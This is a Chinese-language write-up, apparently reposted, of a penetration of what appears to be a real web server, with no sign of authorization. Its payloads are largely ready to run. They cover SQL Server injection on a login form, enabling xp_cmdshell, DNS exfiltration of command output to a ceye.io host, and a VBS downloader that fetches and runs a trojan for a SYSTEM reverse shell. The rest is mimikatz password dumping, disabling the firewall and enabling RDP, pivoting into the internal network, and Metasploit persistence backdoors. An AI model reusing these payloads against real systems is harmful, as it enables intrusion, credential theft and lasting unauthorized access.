記一次滲透實戰


信息收集

用dirsearch掃了一波目錄沒有發現什么東西

 

直接用主站域名解析的ip訪問發現主站是掛有cdn的

 

 subDomainsBrute 掃描子域名

 

其中一個子域沒掛CDN,由此找到網站的真實ip

 

 

得到真實ip后nmap掃描發現8099端口有個未知應用

訪問發現是個WEB服務,一個登陸界面

 

漏洞利用

趁nmap還在工作的時候,簡單瀏覽了下網站的功能,偽靜態,整個網站也沒有什么動態功能

 

遂把目光放在了nmap掃出的8099端口的web服務

 

 

常規測試admin/admin,提示密碼錯誤

 

l3yx/xxxx,賬號不存在

 

那么可以確定的是這里的賬號和密碼驗證是分開的,確有admin賬號。而且沒有驗證碼,理論上可以爆破了,但我只手動測試了常見的幾個弱口令,無果。

當輸入一個單引號時(admin'/123123) ,驚喜來了,此處存在sqli!

於是很熟練的構造"萬能密碼",admin/x' or 'x'='x--

 

然后反應過來了,之前測試發現賬號密碼驗證是分開的,后台的賬號密碼驗證肯定並非 where username=xxx and password=xxx 這種簡單的sql語句,所以繼續測試觀察報錯信息

賬號密碼的驗證貌似是調用了儲存過程,類似如 execute @result= verify 'xxx','xxx';

當賬號密碼為admin/11','xx'--時,頁面返回正常

由於不是很熟悉sqlserver使用存儲過程的注入,想嘗試構造出能成功登陸的payload沒有成功,就換種思路。

sqlserver是默認可以堆疊查詢的,所以只要把之前的語句閉合,那么就可以在其后執行任意sql語句,能執行任意sql語句,那么同樣利用存儲過程就可以執行系統命令

第一步先用如下語句開啟擴展存儲過程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',  1;RECONFIGURE;

執行系統命令

exec master..xp_cmdshell "whoami"

這里是不會有回顯的命令執行結果的,所以用ping命令來判斷命令執行結果

 

命令執行結果DNS帶外 

有時候能執行命令卻看不見結果也是很難受的,這里我還是想能夠觀察到命令執行結果,用到DNS帶外的方法,其實就下面一條命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

實際測試的時候爬了很多坑,當前執行目錄可能沒有寫權限,換到D目錄

目標服務器貌似沒有nslookup,換成ping

&&這兩個字符一定要編碼,否則被WEB服務器當做參數分隔符了

生成的temp文件要刪除,否則下次執行會失敗

sqlserver中一對雙引號其中的雙引號用兩個雙引號代替

 

最后的paylaod

exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell  "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell  "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";  

沒想到直接就是system權限

 

寫入VBS下載木馬

cmd命令行做不到下載文件,使用powershell容易被殺毒軟件攔截,在該服務器上測試powershell命令也不成功,所以就用vbs來下載文件

vbs下載文件腳本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe

所以先得利用sql注入執行命令把該腳本一點點寫入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&連接起來一起輸入的,因為參數限制最大長度為 128,還有在sqlserver中雙引號內輸入雙引號是需要輸入兩個雙引號的,並不是用\轉義,如圖

在執行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服務器日志確有下載記錄

說明vbs腳本寫入成功而且確實下載了文件,但是執行 D:/x.exe 后沒有收到shell懷疑是殺毒軟件給攔了,但我確實做過免殺啊...

后來檢查發現,該服務器是32位系統,而我用的是64位的payload,自然不會成功,后面換成32位的,成功彈回shell

 

信息收集

ipconfig

查了一下ip,發現處在內網

 

查看域用戶

net group /domain 

有中文亂碼,本來想用chcp 65001切換成UTF-8代碼頁,但只要切換成UTF-8 shell就斷,不知具體原因。不過utf-8不行的話chcp 437切換到IBM437英語好了

看到這里是沒有域的,有點小失望

 

查看系統基本信息

systeminfo

 

查看端口,沒開3389

netstat -ano

 

查看相鄰主機IP

arp –a

抓用戶hash

解密不成功的話可以用mimikatz直接抓取明文,metasploit已經內置,可以直接加載

load mimikatz

然后用kerberos命令抓取

或者用mimikatz_command執行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

 

連接3389

目標3389是沒有開啟的,不過Win7、Win2003、XP系統可用如下命令直接開啟

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

關閉防火牆:

netsh firewall set opmode mode=disable

嘗試關閉防火牆后還是連接不成功

測試發現3389端口仍然為closed

真是被自己蠢到了...

這台服務器是在內網,要連接自然的先把端口轉發到公網上啊

metasploit端口轉發:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

這句命令是將目標(-r 192.168.50.2)的3389端口(-p 3389)轉發到我服務器的3389端口(-l 3389)

然后打開遠程桌面連接,ip即為我服務器的公網ip,端口由於也是設置的3389,所以不用改

 

內網掃描

要對目標內網進行掃描需要先添加一下路由

run autoroute -s 192.168.50.2/24

 

 

使用metasploit的portscan掃描一下內網存活的主機

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit

有點慢呢,最后掃了一半還沒發現其他主機就放棄了

 

權限維持

metasploi Metsvc模塊

這個使用很簡單

run metsvc 

其實是給目標開了一個服務

連接的話使用exploit/multi/handler模塊,payload設置為windows/metsvc_bind_tcp,設置目標ip和綁定端口31337

 

metasploi Persistence模塊

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:設置后門在用戶登錄后自啟動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息

-i:設置反向連接間隔時間,單位為秒;

-p:設置反向連接的端口號;

-r:設置反向連接的ip地址

 清除腳本在下圖位置

若要清除后門,在meterpreter運行該腳本即可 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM